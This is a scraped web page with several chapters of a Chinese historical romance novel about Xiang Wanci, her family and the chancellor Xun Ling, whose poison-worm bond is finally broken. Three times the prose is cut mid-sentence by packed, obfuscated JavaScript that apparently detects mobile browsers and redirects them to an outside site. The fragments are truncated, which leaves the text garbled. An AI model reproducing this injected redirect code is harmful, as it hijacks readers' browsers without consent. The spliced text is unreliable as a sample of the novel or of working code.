“没有就好,没有就好。等蛊虫取出来,你就回家来。我这就跟你爹讲,让他去辞官。等你回来,我们马上离开京城。” “嗯,到时候我们去广城,找叶神医给娘治病。” …… 母女俩坐在房中说着,向谦买菜回来时没停,他把菜备好了还没停。等他进屋,两人依旧在说。见他来了,母女俩又拉着他一起说,一家三口像是有说不完的话。 到了快要中午的时候,向谦得去烧饭了,母女俩这才停下。向晚词本来想去帮忙的,被父母阻止了。 向谦说:“小词,你去招呼丞相大人。客人到我们家来,我们没有什么好的招待,也不能一直把人家晾在那里。” “哦。” 向晚词恋恋不舍地离开父母,回到自己房中去。 荀令正在看书,见她进来,问:“怎么过来了?” “爹娘说你是客人,要我来招待你。” 闻言,荀令一笑,道:“你可以不当我是客人。” 向晚词叹了口气,说:“我要是现在过去,肯定会被念叨的,还是算了。” 说罢,她坐到荀令对面,眼望着门外。她进来时并没关门,从门缝中看去,还能看见父母的身影。向谦正在灶下烧饭,向母坐在一旁陪着。 见她如此眷恋父母,荀令眸光微暗,手中的书也看不进去了。他放下书,拿起茶来品了一口,入口有清淡的幽香,还有些许甘味。 直到茶喝完,她都没有回头来看上一眼,仍旧看着那边的父母。荀令心中一阵无名的烦躁,把茶杯往桌上一放,发出一声响。 向晚词被这声响惊醒,回过头来,见荀令神情淡淡,那杯茶空空如也,就问:“还要吗?” 问这话的时候,她有几分期待。要是他还要喝茶的话,她就可以去灶房泡茶了。 荀令听到了她声音中的期待,本待说不要,念头一转,还是点了头。 向晚词立刻拿起茶杯往外快步走去,连头也没回。 荀令从门缝中看去,她到了灶房,就站在一个穿着很简素的妇人身旁,头靠在妇人身上,不时蹭蹭。妇人搂着她,摩挲着她的头发,满脸爱怜。向谦正在一旁泡茶,不时看向两人,目光异常柔和。 那就是她父母。 荀令望着那边,一瞬不瞬,目光始终停在向晚词身上。尽管看不见她的神情,但他也晓得,此时的她十分放松,比在荀府时的任何一刻都要放松。 在他面前,她从未有过这样的表现,一直刻意保持着距离,总是称呼他为丞相大人,从不主动探听他的秘密。他与人议事她总会马上避开,在他批公文时她从不曾向公文上看上一眼。 她也从不向他提任何要求,从不要什么东西。即便她救了自己,对自己有救命之恩,也从未以此要求过什么,更遑论撒娇了。 荀令总以为她就是这样的,原来她也会撒娇,原来她撒起娇来是这样的。 荀令闭眼,片刻之后,才想起,她是有要求的,她唯一的要求就是回家。除此之外,她对他别无所求。 别无所求。 荀令睁眼,继续望向那边。向谦已经泡好茶,她抱着娘又蹭了好一会儿,才慢吞吞地端着茶走出来了。 待到茶放到自己面前,荀令望着那杯茶,说:“你家中午要吃午食。” “是呀。” “为何不说?” “说什么?”向晚词坐下来,还是往外看,随口问。 “你家一日是三餐。” 向晚词的心思都在父母那里,没怎么注意这话,过了一会儿才反应过来,说:“入乡随俗嘛,荀府是什么规矩,我去习惯就是,没理由要求改规矩啊。你中午是不吃午食的,刚才点头,是给我多点在家待着的时间,我知道的,谢谢你。你今日还有事要办,不能耽误你的事,等会吃过饭我们就走吧。” 荀令默然,许久后才道:“好。” 饭做好了后,向晚词就去了灶房。灶房的门关上了,荀令看不到里面。不用看他也知道,那一家三口此时正在其乐融融地一起吃饭。 他与她一同吃过很多次饭,却又一次都没有。他们之间,隔着屏风,隔着床帐,隔着帷帽,还隔着许多看不见摸不着、却无时无刻不存在的东西。 荀令握紧茶杯,一口又一口慢慢品着。茶早已冷却,一丝丝荼蘼花的苦涩之味慢慢显现出来,喝到口中几不可察,荀令却一点不漏地品了出来。那淡淡的苦涩之味在他口中停留,又流入胸腔中,逐渐蔓延开来,化作丝丝缕缕的线,缠绕着他。 待到杯中空空,荀令垂眸,眼望着那只用旧了的寻常粗瓷茶杯,不觉收紧手。骨节分明的修长手指紧紧握着茶杯,像是握住了什么最珍贵的东西。 不知过了多久,房门被推开,向晚词走了进来。她径直走到荀令面前,说:“我们走吧。” 荀令依旧握着那个茶杯,没有回答。 “丞相大人?丞相大人?”向晚词轻唤了几声。 荀令这才回过神来,望向她,说:“这茶杯送我可好?” 闻言,向晚词一愣,不由望向那茶杯。那是最普通的茶杯,是她几年前买的人家卖不出去的存货,就几文钱一个,买来后她一直用这茶杯喝茶。 家里的茶杯都是有定数的,爹娘的、她的、还有招待客人用的几个。招待客人用的茶杯,用过的客人不少。他向来爱干净,肯定是不肯用那些茶杯喝茶的。她又不可能用爹娘的茶杯给他泡茶,只好用了自己的。 荀令眼望着她,目光一瞬不瞬,见她不答,就问:“舍不得?” 听到这话,向晚词有些哭笑不得,说:“这就是最便宜的茶杯,我五文钱一个买来的,有什么舍不得的。之前我摔碎了你一套庆窑的茶具,虽然说了不赔,但还是觉得不太好。这个肯定抵不了那个,你喜欢的话就拿去好了。” 闻言,荀令一笑,眉目柔和,少了几分云淡风轻,多了几分鲜活,更显其风华。 他把茶杯朝她一递。 向晚词接过去,用纸包起来,放在袋子里。她又拿了三罐茶装进去,说:“送茶杯再附赠茶叶。” 荀令道:“才送三罐?” “我一共也没几罐,再送我就没得喝了。” 荀令望着她,不说话。 向晚词又装了两罐进去,说:“好吧好吧,这总可以了吧?” 荀令眼中的笑意又多了几分。 装好东西后,向晚词就来搀荀令。向谦夫妇在外候着,两人出了门,向晚词说:“爹娘,我们走了。” 夫妇二人没答,只是点点头。 荀令朝两人拱了拱手,才在向晚词的搀扶下朝外走去。夫妇二人站在门口,目送他们上马车,等马车消失后,才回了家。 马车拐过巷口,就朝未央街正中的登云阁驶去。 登云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157793|180139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阁,是天眷国官场中的科官们往来之所,荀令是科官之首,以前去过许多次,自从称病不朝后他就再未去过。 在天眷国,科官指的是由科举入仕的官员,由门荫或举荐入仕的官员则被称为世官。科官和世官加在一起,就构成了天眷国的官场。只不过这两派向来水火不容,斗得甚是激烈。登云阁是科官们聚集之地,世官一向是不会来的。 向晚词知道登云阁,天眷国的科官们大都想来这里。能来登云阁,就证明离平步青云不远了。从前向谦的友人劝告他时,就曾多次提到过登云阁,向晚词想不知道都不行。 马车到了登云阁后,就直接从侧门驶了进去。登云阁占地颇广,内有亭台楼阁、曲院回廊,不亚于任何一家达官显贵的府邸。荀令在此间有专门的休息之所,名叫小游园。马车到了小游园前停下,向晚词扶着他下了马车。 小游园附近格外清静,没有闲杂人等,只有花红柳绿,燕语莺声,幽香阵阵,景色很是宜人。下了车后,向晚词就闻到了莲香。她朝那边看去,一条湖流入小游园中,生着不少白莲。 看到那一湖白莲,向晚词不由惊叹:“哇,这里有‘照夜玉芙蓉’呢。” 照夜玉芙蓉是这种白莲的名字,因其花型似芙蓉,花色如玉,又多在夜晚盛开,故而得名。 “喜欢?” “嗯。” “待会儿坐船去看。” “可以吗?” “我们要在湖上议事,旁边多一条船不多。” “好。” 说话间,两人进了小游园,里面的布置也是按照荀令的喜好来的,没有太多陈设,却也不失典雅。 坐下后,向晚词看了看屏风旁的更漏,发现已经到了未初了,就拿出随身携带的药,说:“到时间了,该吃药了。” 藕断丝连的毒甚是难清除干净,两人一连吃了许多天的解药,还有余毒留在体内。 两人吃了药,就有人来上茶点。看到侍从端来的茶,荀令的眉头微皱。这些天来,向晚词已经对他的神情很了解了。一看到他这样,就知道他对这茶不满意。 她打开茶壶看了看,不由摇头,道:“这么泡‘云州雪’,真是糟蹋东西,不过也能喝。要换吗?” “换。” “换哪个?” “荼蘼花茶。” “啊,还喝那个吗?” “喝。” “好吧。” 向晚词自己去泡了荼蘼花茶来。 荼蘼花茶比一般的茶更难泡,对水温和冲泡手法要求很严,泡不好的话,其中的茶香、花香出不来,反而会有许多苦涩味出来。荼蘼花茶也不能久饮,冷掉以后苦味就会多于茶味。 泡好茶后,她把荼蘼花茶放在荀令面前,自己准备去倒那壶云州雪。 见她要倒那壶茶,荀令伸手挡住了她,说:“这个不能喝。” 说完,他让人进屋来把这壶茶撤掉,再把茶具拿进来。 茶具拿进来后,他亲自动手,泡了一壶云州雪,放到向晚词面前。见他这么郑重其事,向晚词也不好扫兴,就倒了一杯,侧过身去品了品。 荀令等了一会儿,不见她开口,就问:“如何?” 向晚词说:“很好啊。” “就如此?” “还要怎样呢?要比较的话,刚才那壶已经被你叫人拿走了,我没喝过那壶,没法比较呀。” 荀令方要开口,吴代来了。他匆匆赶来,正累得很,见桌上有茶,也不等人招呼,自己就倒了一杯灌下去。喝完后还觉不够,又连喝了几杯,都快把一壶茶喝完了。 看他快把茶喝完了,荀令略略皱眉,又泡了一壶。吴代喝够了,这才发现手里那壶茶快见底了,不由有些讪讪地朝向晚词说:“抱歉,向姑娘,抢了你的茶。” “没事没事,我喝过了,也不渴,你随意。” 荀令把那壶新泡的茶放到向晚词面前,紧接着又泡了一壶,摆在吴代面前,看了吴代一眼。那意思吴代清楚得很,一人一壶,别再抢她的。看懂之后,吴代摸了摸鼻子,默默去倒自己那壶,他其实还是有点渴的。 喝够了茶,吴代便说:“那边人应该到了不少,延之,我们这就去吧。” 荀令应了一声,吴代起身,准备去搀他。荀令抬头看向他,那目光看得吴代一愣。反应了片刻后,他收回手,提高声音说:“我先去看看人齐了没,延之,你慢慢来。” 说完,他便离开了。 吴代走后,荀令朝向晚词看去,她正在看墙上的袖珍风筝,没往这边看。 荀令也看过去,问:“喜欢那个?” 向晚词回过头来,说:“我以前也有这么个小风筝,是爹给我做的,我一直挂在房间里。可是有回隔壁失火,烧到了我的屋子,把小风筝烧掉了。那时候我可伤心了,可邻居家屋子都烧掉了大半,我的屋子虽然被烧到了,但也只烧到一小部分,已经很幸运了,我也不好意思跟他们说这事了。” “怎么不让你爹再给你做一个?” “不一样的,就算再做一个,也不是原来那个了。” 闻言,荀令沉默片刻,说:“我会做,要不要?” “咦,你会这个吗?” “会。” “还是算了吧,这个很费神的。” 荀令闭了闭眼,问:“你就什么都不想要?” 15. 天水泊步汨晚虚 向晚词低头,轻声问:“要什么?” 荀令没回答。 他扶着桌子起身,向晚词走过来扶住他,两人往外走。到了湖边,早有接引的船在那等候,两人上了船,船向湖心划去。 登云阁内的湖是京城第一大湖千醴湖的支流,千醴湖的湖面最宽的地方超过百里,开船到这上面去议事,是科官们的惯例。 坐到船上后,荀令道:“这里水深,等会儿不要靠船边太近。” “我不会靠太近的,我会游水的,没事。” “这里淹死过很多会水的。湖下水草茂密,一旦被缠住,很难摆脱。” “知道了知道了,我不会靠近的。现在湖水还很冷,我也不想下去,会得风寒的。” 见她应了,荀令就不再说下去。 到了湖心,那里已经停了许多船了,中间那艘最大,就是此次科官们议事的船。围在周围的小船都是科官们的船,这些船都离大船有一段距离,只有一艘小船紧邻着大船,接引荀令的船就划到了这艘小船处。 到了船边,荀令指了指小船,说:“留几个护卫给你,有刺客他们会应付。还有你的丫鬟,要做什么让她们去做。白管事就在附近,有事让他去知会我。” “好。” 又交代了几句,荀令松开手。向晚词朝他挥挥手,就上了小船。 等候在不远处的吴代示意船夫靠近,他坐的船就到了荀令的船前。吴代跳到那艘船上,笑着低声说:“延之,现在你没得选了,只有靠我扶着你了。” 荀令不答,直接吩咐船夫开船。 到了大船边,吴代扶着荀令上船了,早已等候多时的科官们纷纷上前来见礼。荀令不紧不慢地从容还礼,风仪清隽,秀出群伦,丝毫看不出身受重伤的样子。 向晚词坐在小船上,看见那边被众官围住的荀令,不由暗叹了一声。那里才是他该去的地方,天眷国最年轻的状元、丞相,跟她是两个世界的人,他们本来不该有交集,很快就会各走各路了。她不再朝那边看过去,走到船里坐下。 跟众人见过礼后,荀令朝那边看去。她已经坐在船中,背对着大船,他只能看到她的背影。 一旁的吴代低声提醒:“延之,该进去了。此次秋闱和春闱的主考官的人选,咱们是一定不能松口的。” 荀令收回目光,缓步进入船舱。 大船四周漂着不少花船,上面移植了许多照夜玉芙蓉,花影摇曳,水气缭绕,莲香弥漫,美不胜收。向晚词看着那些花,心思却不在花上,脑海中不断浮现这几个月以来的事情。 从她莫名其妙被皇帝赐婚,到嫁到荀府后的一桩桩一件件,都在此时此刻冒出来,打扰着她,也提醒着她。人不能太贪心。别有不该有的念头,别想会让自己意难平的事,别奢望不该奢望的东西,守住自己已有的,足够了。 足够了。 日渐西沉,暮色将晚,大船上的争论逐渐停歇,争了半日,众官各有妥协,勉强达成一致,离开了船内议事阁,到外间去就坐。在船舱内闷坐了许久,众官都要出去透透气。 荀令坐在外间的首位上,脸色略显苍白。他伤势未愈,本不该如此劳心,只是这次议事太过重要,他不得不亲自参加。 坐在荀令旁边的吴代一直在注意他的脸色,见他脸色不好,心中暗自着急。此时议事快结束了,吴代低声问:“延之,要不要先回去?别参加晚宴了。” 荀令刚要开口,那边一阵嘈杂人声传来,打断了他,也惊动了大船上的众官。荀令耳力过人,在众人还没听清那边在吵什么的时候,他已经把那些话语声听得清清楚楚了。 听清之后,他的脸色瞬间沉了下来。 一旁的吴代吓了一跳,他已经许多年没见荀令这种神情了,还当着这么多人的面。他赶紧出言提醒:“延之,延之。” 荀令迅速收敛情绪,面上恢复了一贯的云淡风轻。众官的注意力都被那边的喧哗声吸引过去,很少有人注意到他脸上一闪而逝的阴霾。 “天一。”荀令开口了,语声一如既往淡如茶汤,却多了些冷意。 一直隐在暗处的暗卫首领天一当即现身。 “去把安国侯世子扔到水里,不准人救。” “是。” 领命后,天一瞬间消失。 听到荀令的话后,吴代满心疑问,安国侯世子?那个好色的纨绔为何会到这里来?延之为何要让手下把他扔到湖里? 等等,好色,湖里,吵闹声,延之的脸色,不会是他想的那样吧。不看脸,只看身姿的话,那向家姑娘实在像个美人。那安国侯世子该不会是去调戏她了吧? 吴代看看荀令,马上确定,多半是他想的那样了。没等他开口,荀令已经朝那边走去,吴代赶忙上前去搀扶他。船上的一众官员也想瞧热闹,就跟着往那边去。 等众人到了那边,安国侯世子已经在湖里扑腾了。有几人想下水捞他,但是一靠近他就被天一用暗器击伤了手,其他人都不敢再尝试了。 荀令看也没看在水里呼喊救命的安国侯世子,让人划船到小船上去。到了小船上,他才见到了向晚词,她正被丫鬟仆妇和侍卫们围在中间。 荀令仔细打量了一下,发现她没什么变化,才放下心来,方欲开口,又被一阵叫嚣打断了。 “你这个荀家丑妇!居然敢叫人把我扔到水里,你给我等着。” “要不是陛下抬举你,你哪来的机会做丞相夫人!竟然敢这么对我,我定要到陛下那告你这丑妇的恶毒行径。” “怎么?只敢蒙头盖脸,不敢已真面目示人?是不是怕吓到别人?本世子真是瞎了眼,方才还以为邂逅了一位窈窕美人,没想到是你这个闻名京城的丑妇。生得丑就该躲在家里,别出来吓人……” 荀令面色沉静,淡淡道:“天一,把他的舌头拔出来。” 向晚词正想让人开船,避到大船的另一边去,忽然听到了荀令的声音,立刻循声望去,发现他来了,赶忙说:“别,别,别把事情闹大了,那可是安国侯世子。” “那又如何?” “会给你惹麻烦的。” 荀令朝她走过去,众人纷纷让到一旁。走到她面前后,荀令握住她的手,温声说:“没人可以欺辱我的妻子。” 被他握住了手,向晚词的手颤了颤。听到他的话,向晚词的心也颤了颤,低声说:“没关系的,我不在意这个,已经听习惯了,没事的,就是几句话而已,没什么大不了的。不要把事闹大了好不好?我不想给你增添麻烦。” 两人说话间,水里的安国侯世子还在叫嚣。他水性颇佳,要不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170929|180139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被天一阻拦,他自己早就游到了船上了。 向晚词握了握荀令的手,她手心里都是汗,还在不住颤抖,和当初受伤拔剑的时候很相似。荀令握紧她的手,道:“好。天一,给他吃‘悔不当初’,十颗。” 悔不当初,一种毒药。顾名思义,吃下这种毒药的人,会遭受很多非人的痛苦,会无比后悔做下的事,以至于被人喂这种毒药。这毒药不会死不会残,只会让人痛不欲生,是专门用来惩罚人的毒药,一颗药效持续三天,十颗就是一月。 向晚词还要开口,荀令已经打断她了:“这是我的底线。” 闻言,她暗自叹气,闭嘴了。 天一取出药丸,一连弹指数下,十颗药丸就准确无误地飞入叫嚣不已的安国侯世子嘴里。那安国侯世子不明就里,一连被迫吞下了那么多药丸,还以为是向晚词让人给他下药,嘴里的话就骂得更难听了。 船上一众官员都听得眉头大皱,这糊涂世子这么当众羞辱荀相的妻子,不管那向氏如何不招荀相待见,他要是不出头维护,扫的就是他的颜面。连这么粗浅的道理都不明白,果真是草包一个。 很快,叫嚣变成了哀嚎痛呼,痛不欲生的药效立竿见影,安国侯世子的惨叫一阵阵传来,听得在场的官员们不寒而栗。因为太痛,安国侯世子根本没法游水,在水里浮浮沉沉,沉入水里的时候比浮起来的时候多。 向晚词怕他真的淹死了,又握了握荀令的手。 荀令看也不看湖面,只道:“天一,捞起来。” 天一纵身飞掠过去,轻点几下水面,就到了安国侯世子身边,伸手提起他,又翻身跃回船上。他身法极其干净利落,船上一片叫好声。安国侯世子到了船上,就在船板上滚地哀嚎,众官纷纷避让,给他留出足够的打滚空间。 荀令懒得再听那家伙的哀嚎,直接吩咐船夫开船回登云阁去。见他如此,吴代暗叹一声,吩咐手下去看着安国侯世子,等他家人来接他。至于解药,那就要让定国侯府的人自己去想办法了。 回去的路上,荀令一言不发,只是握着向晚词的手。船上那么多人看着,她实在不好意思,只好低头看着船板,一声不吭。到了登云阁,荀令没在小游园停留,直接上了马车,往荀府去了。吴代没去,把两人送走后,他继续回去参加晚宴去了。 在马车上,荀令还握着她的手,到了荀府仍旧握着。回到洞天院后,他还握着,似乎忘了放开。到了房中,向晚词想开口说些什么,却又不知道该说什么,只能闭口不言。 荀令望着她,许久都没说话,两人就这么对坐着不言不语。 不知过了多久,荀令才开口:“你很美。” 他的声音平静而清淡,似乎与平常一样,似乎又不太一样。 听到这话,向晚词怔了许久。回过神来后,她眼前已经是模糊一片了,大颗大颗的泪水落到面纱上,她竭力想忍住,泪水却不听她的,一个劲往外流。 一只手伸了过来,把她搂入怀中,轻轻拍着她的背。向晚词再也忍耐不住,伏在他怀里无声痛哭。泪水打湿了面纱,也打湿了帷帽,沾到荀令的衣服上。 感觉到了衣襟上的湿意,荀令搂紧怀中人,闭上眼。细细的啜泣声传入他耳中,仿佛有无形的针刺,一下下扎在他心上,细细密密,扎得他隐隐作痛。 16. 天氷泊步汨晚虚 向晚词也不知道自己哭了多久,等哭够了时,外面的月亮都已经挂得很高了。发觉自己伏在荀令怀里哭了很久,把他的衣服都打湿了,向晚词马上拿出手帕去擦他的衣衫,又被荀令握住了手。 “别管这个,先吃点东西,再去好好睡一觉。” 向晚词点头,食不知味地吃完东西,洗漱之后就躺到了床上。她哪有什么睡意,睁着眼睛望着床帐,眼珠一动不动。 荀令坐在旁边的床上,似是觉察到了她的无心睡眠,缓缓开口,开始讲故事。向晚词听着故事,不由闭上眼,睡意渐渐袭来,不知不觉睡去。 许久之后,听到旁边的呼吸缓慢均匀,荀令低声唤道:“阿词,阿词。” 没有回应。 荀令起身,吹灭了房内的灯烛,悄悄走到隔壁房间。吴代正在里面等着,他等了许久,都已经睡了一觉。 见荀令过来了,吴代把晚宴上的事择要说了说,又讲了一下安国侯世子的事。 荀令面无表情地听着,听完后一言不发。 吴代看看他,叹了口气,说:“要不要请叶神医来给她治治?没准能把痘印去掉。不过叶神医的夫人有了身孕,他现在没法来京城,最快也要等到明年端午才能动身。卢大夫只擅长解毒治伤,其他方面的医术实在平平,不能指望他医好陈年痘印。” 之前调查向家底细的时候,吴代调查得比较详细。 向姑娘小时候是远近闻名的小美人,有无数少年郎心悦于她,说亲的人都踏破了向家的门槛。向家父母不舍得女儿早嫁,一直推却亲事,说要多留女儿几年。 后面向家被户部的人上门来告知,他家女儿有选秀的资格,在选秀之前不得自行婚配,向家父母向媒人说了这事,也就没人再上门提亲了。 自从十三岁得了痘疹后,她脸上就留下了满脸的痘印,看起来丑陋之极,再不复往日的美丽,就再没人对她有蒹葭之思了。据说留了痘印后,她好几次把邻居小孩都吓得哇哇大哭,这才戴上了面纱,还戴了帷帽,终日遮掩面目,不让人看到她的脸。 她被称为丑姑娘,也是从那时开始的。一个本来生得很美的姑娘骤然变丑,还被那么多人明里暗里讥讽嘲笑,要承受的痛苦自然不少。 说完后,吴代就等着,等了半晌,荀令终于开口了:“她很美。” 听到这话,吴代一阵牙酸,忍了许久,才把调侃好友的话咽了回去,这当口不适合调笑。 理了理思绪,吴代正容道:“延之,她以后毕竟还要出去见人的。人言可畏,无论你自己再怎么认为她美,也堵不住别人的嘴。以后的日子那么长久,你也不想她以后再被人当面这么辱骂吧?那话对一个姑娘家来说实在很伤人。” 荀令沉默,良久后才道:“我做不到。跟她说让人来医治她,是在嫌弃她,说她丑,我说不出口。得痘疹后留下的印记最顽固,昔年西池国皇帝脸上的痘疹印记,遍求天下名医都消除不了,叶神医也不一定能治好。要是治不好,给了她希望又让她失望,她要如何面对?我不想再看见她哭了。” 吴代看了看他衣襟上未干的水迹,叹着气说:“延之,想不到你竟然会对叶神医的医术没信心?那就快点放人家走吧,不再是你的夫人,她就不会被那么多人盯着了。安国侯世子本也不知道她,就是因为她嫁给了你,他才特意去打听的。” 说到这,吴代顿了顿,望着好友,郑重其事地说:“卢大夫已经找到解除蛊虫关联的方法了,你不让解。延之,当初你答应放人家走的,现在你还舍得吗?” 方才他去问卢大夫能不能治痘印,才从卢大夫口中知晓这事。知道之后,吴代哪还能不知道好友的心思,白天在湖上他又是那种模样,自己要是还不知道就真是傻子了。 荀令不答,面上神情阴郁。 看他那样子,吴代又叹气,说:“你想留下人家,人家想留下来吗?” 听到这话,荀令的神情更阴郁了。 看到他的脸色,吴代知晓了答案,摇头叹息:“延之,感情的事勉强不来,这是你自己说过的,希望到如今你还这么想。” 说罢,他轻轻拍了拍荀令的肩,径自去了。 吴代走后,荀令起身回房,坐在床边。隔壁传来浅浅的呼吸,在静夜里异常清晰。这呼吸他听了许多夜,一开始很不习惯,听到这声音就知道旁边有人,让他难以入眠。如果以后听不到,他反而难以入眠了。 “你想留下人家,人家想留下来吗?” 吴代的声音在耳边响起,荀令闭眼,脑海中就出现了白天在她家中时的情景。她那样眷恋父母,又怎会不想回家? 天上明月照人,窗外花影婆娑,房中幽香阵阵。荀令就坐在那里,月光自窗缝中照进来,照在他身上,照出他阴郁沉寂的脸。月光渐渐从他身上移走,天光渐亮,荀令依旧坐在那,没有挪动过半分。待到外面天光大亮,他还坐在那里。 向晚词醒过来的时候,就看到床帐上的人影。她怔了片刻,发觉已经天亮了。昨晚克制不住哭了出来,今天醒来后已经冷静下来了。想起昨晚的事,她沉默良久,才悄然起床。 荀令听到了她的动静,没有开口。向晚词梳洗完毕,他也去梳洗了。等下人端来早膳后,两人仍旧隔着屏风吃饭,一切仿如从前,只是沉默了许多。 之后,两人如同往日般各自做事,谁也没提起昨天的事。往后一连数日,两人都如从前那般相处,白天各自做事,偶然交谈。到了晚上,荀令就给向晚词讲故事,讲了许多天,漫长的英雄史诗也到了尾声,秋天也一同到来了。 闻到桂花的香气时,向晚词就想起了爹做的桂花糕。往年每到桂花开的时候,他们一家三口就会去摘桂花。把桂花摘回来后,爹就会做桂花糕、桂子糖,那味道,是她时常会想念的。 见她望着窗外,一动不动,荀令问:“在想什么?” 向晚词正自出神,听到他的话,下意识答:“桂花糕,这个时候,爹该做桂花糕了。” 闻言,荀令闭了闭眼。这些天来,她已经很少跟他提起家里的事了,只是偶尔在出神的时候,会不自觉说上一两句。她把对父母的思念藏在了心中。 闭目片刻,荀令睁眼,终于下定决心。 荀令低头,一边看公文,一边问,语气平淡无波:“卢大夫找到了能解除蛊虫关联的方法,如果成功,不取出蛊虫也不要紧,可要一试?” 向晚词没回头,依旧看着窗外的桂花,像是随口附和一样应了一声。 荀令手顿了顿,便让人把卢大夫找来。卢大夫早就等着这一天了,到了后马上就拿出早已准备好的蛊虫。 他解除蛊虫的方法就是以毒攻毒,两人中任选其一,在其体内再放入一只蛊虫,让那人体内的两只蛊虫相斗。如果新蛊虫吃掉旧蛊虫,那血肉相连蛊自然就破解了。如果新蛊虫被旧蛊虫吃掉了,那旧蛊虫就会中毒,中他在新蛊虫身上下的毒,也有很大概率被毒死。 拿出蛊虫后,卢大夫详细说了他的方法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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荀令咬牙苦忍,牙关不停打颤。很快痛苦越发剧烈,他痛得脸都白了。向晚词的手微微发抖,手帕掉下去,她也没去捡。看到荀令双手紧握,手心里都掐出血来了,她又去握他的手。 “别掐你自己,掐我好不好?”她低声说。 荀令不松手,依旧死死握着手。 向晚词双眼模糊,眼泪在眼眶里翻涌。她强忍住泪,抱住荀令,轻轻拍着他的背,口里反复念着:“不怕不怕,痛痛飞,痛痛飞。” 这是她儿时生病时,她娘会做的事,她做得甚是生涩。抱住荀令后,她不厌其烦一遍遍念着,反复拍着,似是这样做就能减轻他的痛苦。 如此痛苦持续了很久,向晚词感觉自己怀里汗湿一片,她又去拿手帕给他擦拭。荀令的脸色已经一片惨白,双唇毫无血色,如同大病了一场。 向晚词忍了又忍,终于把泪憋回去,继续抱着他,给他擦汗。 “延之,延之,没事的,很快就会过去的,很快就好了,没事的……” 荀令无力地靠着她,把脸埋进她怀里。恍惚间听到她唤自己延之,巨大的喜悦涌上来,冲散了无孔不入的痛苦。 他咬着牙,一字一句地艰难吐出:“能听到你这么叫我,再痛也值了。” 闻言,向晚词手一抖,手帕又掉了,眼泪也跟着掉下来。 “值什么,你这个傻瓜。” “阿词,再叫叫我,好不好?” “好,好,延之,延之,我在这里,没事的,我在的,很快就好了。” 向晚词不断轻拍着他,嘴里一直重复着,不时拿手帕给他擦拭。汗湿透了两人的衣衫,怎么擦也无用。 17. 天水洎步汨晚虚 强烈的痛苦持续了一日一夜,荀令苦熬了一日一夜,向晚词也陪他熬了一日一夜。等到痛苦平息的时候,两人都如同大病了一场,倒做一团。 卢大夫估摸着时间差不多了,摸进来给荀令检查。发觉荀令体内只剩下一只新蛊虫,卢大夫老怀甚慰,赶紧给荀令吃解毒药,驱除这只新蛊虫。又折腾了一阵,毒也解了,新蛊虫也驱除了,剩下的就只有好好休养,恢复精神了。 被侍从服侍着沐浴更衣后,荀令躺在床上。向晚词也去沐浴更衣,吃了些东西后就坐在他床边,没有搬走,也没有去旁边的床。下人拿来吃食后,她就接过来,一勺一勺地喂他吃。 荀令望着她,目光温柔如水,一口口吃着她喂的粥,心中无比欢悦。向晚词被他看得坐立不安,喂他吃完东西后就要走,被他拉住了。 “别走,再陪陪我。” 向晚词又坐下,荀令继续望着她。 向晚词侧过头去,低声道:“你别这样。” 荀令应了一声,但目光没有半分转移。 向晚词伸手,挡住了他的眼睛。荀令伸出另一只手,轻轻握住眼前的手。握住那只手后,他的手向前移了移,又松开,被他握住的那只手就盖住了他的眼睛,抚在他脸上。向晚词不再动,那只手就一直停留在那。 熬了一天一夜,她很是困倦,只是担心荀令,一直强撑着。这会儿见他无事了,她就放松下来,不知不觉靠在床栏上睡了过去,盖在荀令眼睛上的手也滑落下去。 荀令握住那只手,发觉她靠在床栏上,他勉强坐起身来,俯身把她抱起来,放在床上,用被子盖住她。做完这一切后,他感到筋疲力竭,躺在那里,浑身上下无一不痛。 他深吸一口气,把疼痛强压下去,伸手抱住向晚词,让她靠在自己怀中,闭上眼睛。被蛊虫折磨了一日一夜,他也很疲乏,很快就沉沉睡去。 荀令醒来,已经是第二日了,怀中空空荡荡。他心下一惊,忙睁眼看去,她坐在床边,正在看着什么。 “阿词。”荀令轻唤了一声,声音温柔和缓。 向晚词抬头,见他醒了,立刻俯身过来摸了摸他的额头。 “还好没发烧,卢大夫说这蛊虫很容易让人发烧高热。” 荀令笑望着她,伸手握住了她放在自己额头上的手。 向晚词马上把手抽回来。 荀令的笑容一凝,顿时知她心意。 抽回手来后,向晚词立刻起身到房门口去叫人来服侍荀令。荀令默然不语,由得她叫人。洗漱更衣后,下人端来了吃食和药,向晚词接过去,一一喂他吃了。 一连十多日,向晚词都守在床边照顾荀令。她一直保持着不远不近的距离,每当荀令想要接近她,她就避开。 到了最后一日,卢大夫说荀令已经彻底无事了后,她就说:“我该回去了。” 她只说回去,却没说回哪去,是回原来的住处去,还是回家去。她不说,荀令却清楚得很。 事已至此,荀令拖无再拖。他也不答,坐到书案前,提笔,笔落下时,墨在纸上化开,晕出一片墨迹。半晌后,荀令拿起那张纸揉皱丢到一边,再拿一张。这次,他下笔再无迟疑,没多久就一挥而就。 写完后,他搁笔,起身,把纸递到向晚词面前。 向晚词接过去,看也不看,只是低声说:“谢谢,以后多保重。” 